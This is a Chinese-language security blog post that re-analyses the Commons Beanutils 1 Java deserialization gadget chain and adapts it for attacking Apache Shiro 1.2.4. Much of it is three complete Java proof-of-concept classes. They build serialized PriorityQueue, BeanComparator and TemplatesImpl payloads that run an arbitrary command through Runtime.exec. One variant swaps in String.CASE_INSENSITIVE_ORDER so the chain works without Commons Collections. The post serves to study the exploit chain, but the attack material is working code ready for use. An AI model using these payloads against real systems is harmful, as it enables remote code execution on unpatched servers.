前言

这里我们来翻新一下 Commons Beanutils 1利用链,因为 P 牛讲到了,涉及到了一系列的扩展,也可以理解得更加深入。

看着一大片未命名的项目,是真想不起来当时的项目是个啥了…

然后新建个未命名项目去找包,包下在了哪里也不知道,大体思考了一下,应该是在 mvn 官网下载的,那就是在 默认的下载路径,然后翻到(这个其实可以熟练的使用 mvn 来解决),还是要做一个有条理的人啊,尽可能提高自己的效率不会是在某些小的环节上偷懒来实现的。

CB1 也有用到,在 Sibene 师傅出的那道 warmup-java 中就有用到。

添加内容

完善 POC

看到我们 CB1 原本的利用链

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1test {
public CB1test() throws NotFoundException {
}

public static class StubTransletPayload extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

setFieldValue(comparator, "property", "outputProperties");

Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}

改成我们打 Shiro 的格式

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1POC {
public static class StubTransletPayload extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public byte[] getPayload(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(CB1POC.StubTransletPayload.class)));
CtClass clazz = pool.get((CB1POC.StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\""+ command +"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator("lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

return barr.toByteArray();
}
}

不过我这里所编写的 POC 实际上有一些地方不太理解,这里也在我第一次编写 Shiro 的利用的时候暴露了出来,我原本的 exp 是照抄的 ysoserial ,在之前的时候运行也没有产生什么问题,但是这次这里在我一开始运行的时候却出现了一些问题,虽然后续解决了,

image.png

是因为环境中引入的包的原因,但是 P牛的 exp 却在我打不通的时候也能打通,回顾的时候发现有几个地方当时是存疑放过了的,这次重新再学习一遍 …

POC 的编写和我们对利用链的理解挂钩,这里也说明了我对利用链的理解与审计也不到位,所以借此机会重新审一遍。

我们来重新进行分析

分析

看一眼调用栈

image.png

前面的部分 PriorityQueue 为入口,和 CC2&4 中调用链的入口是一样的

image.png

从这里进入,我们调用了 BeanComparator 的 compare 方法,而不是 CC2&4 中 TransformingComparator 类的了。

image.png

我们在一开始学习这一条链子的时候在最开始的前置里就讲到了这里的用法

我们这里可以把目光放到上面的第一、二条,我们的属性都是 private,需要利用 getxxx、setxxx、isxxx、addxxxListener 等方式来完成,说白了就是属性都要有访问器和更改器,在 CommonsBeanutils 中提供了一个静态方法 PropertyUtils.getProperty ,这个方法可以直接调用任意 JavaBean 的 getter 方法。

public static Object getProperty(final Object bean, final String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

可能我理解的不够好,我觉得这里就有一种反射的感觉,有个 A 类,它符合上面所说的 JavaBean ,其中有一个属性 whoami,这是个私有的,这个时候我们就可以通过 PropertyUtils.getProperty(new A(),"whoami") 来调用 A 类里面的 getWhoami() 方法,这也体现了我们所说的 JavaBean 中属性都要有访问器。

不过这里只要我们这样写了,他就会去调用 A 类中的 getWhoami,然后调用它的 getter ,我们可以发现,这里如果能控制的话,就是完全信任用户的输入的。

我们可以利用这里来调用我们 TemplatesImpl 中的 getOutputProperties() 方法,进而进入动态加载字节码的过程,这里非常巧秒,但是仅仅是一个大概的框架,距离我们真的弄懂这个过程还有不短的距离。

XXXComparator 都是实现了 Comparator 接口的类,Comparator 在 JAVA 中的作用正如它的名字,“比较器”,它是用来比较的,进而延申一下它的用途,那就是 排序、分组等等,基本上所有的类型都会有自己的比较器,各种的品牌徐、比较方法之中也有自己的比较器

image.png

而我们这里的 BeanComparator 类就是 JavaBean 中的比较器,我们用它来比较两个 Bean,而这里也就导致了我们必须要通过 PropertyUtils.getProperty 来调用

我们在这个 compare 方法中直接调用了 PropertyUtils.getProperty 方法,参数是 o1/o2, this.property,o1/o2 就是我们通过 siftDownUsingComparator 传入 compare 的参数,而 property 是我们可控的

image.png

整个的利用就非常简单了,我们通过 PriorityQueue 将 templates 传入 BeanComparator 的 compare 方法,然后将 property 的值设置为 outputProperties 即可,这里和 CC2&4 中一样,还是要注意先 add 再赋值,写出来的话大致是这样:

BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1)
queue.add(1)

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

我们可以发现,在 ysoserial 中有两个不同的点,我们一开始的时候传入的 property 是 “lowestSetBit”,同时 add 的是 BigInteger 的对象

image.png

image.png

这里实际上是为了解决某些 JDK 版本中不兼容的问题而设置的,lowestSetBit 是 BigInteger 的属性,这里传入 BigInteger 其他属性也可以,为的是解决 add 失败的问题

image.png

Shiro 中的利用

其中也并没有用到数组,那么我们也可以依靠 CB1 这条链子在有相关依赖的情况下对 Shiro 进行攻击。

同时,这里涉及到一个 Shiro 的依赖 的问题。

<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>

<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>

<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>

</dependencies>

这是去掉 Commons Collections 组件之后我们的 pom.xml,在重新加载项目之后我们却会发现:

image.png

多出了一个我们并没有写入 pom.xml 但却添加进来了的 Commons Beanutils 1.8.3,出现这种情况的原因当然是因为 Shiro 是依赖于 Commons Beanutils 的,那么 Commons Beanutils 本身就有利用链,我们对 Shiro 进行攻击时的攻击面不就变得无限大了么!!

这里存在一些环境方面的问题,P牛在他的 JAVA 安全漫谈中也有提到,我在一开始使用我原本的 Payload 进行 Shiro 的攻击的时候会产生报错,和 P牛所说的报错是一样的

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

我们的环境中已经不存在 Commons Collections 了怎么可能找得到呢?然后我又改 pom.xml 把 Commons Collections 加回来,然后下断点测试,然后再删掉,折腾了折腾,也没有改 Payload,Shiro 的报错就消失了。

不过在我报错的时候,P牛更改后的 Payload 也是一样能够打通的,我们可以看一下 P牛的修复思路,和他找到的问题出现的点。

image.png

我们可以看到,在 BeanComparator 的构造函数中,当我们只传入了 property 而没有显式传入 Comparator 的情况下我们就会调用 ComparableComparator,但是我们现在没有 ComparableComparator,我们就需要找到一个类来进行替换,这个类需要满足几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

通过 IDEA 的功能,我们查看 Comparator 的实现,最终找到了 CaseInsensitiveComparator 这个类

image.png

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品

同时可以看到,

public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();

也就是说我们 string.CASE_INSENSITIVE_ORDER 即可拿到它的对象,这里我们的 BeanComparator 对象的参数就可以设置为:

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER)

剩下的不变就好了,结合这个思路,我们就可以构造出:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(CCS.StubTransletPayload.class)));
CtClass clazz = pool.get((CCS.StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\""+ command +"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

return barr.toByteArray();
}
}

image.png

不过这里并不能和 ysoserial 的 解决兼容的方式一起使用,会报错

image.png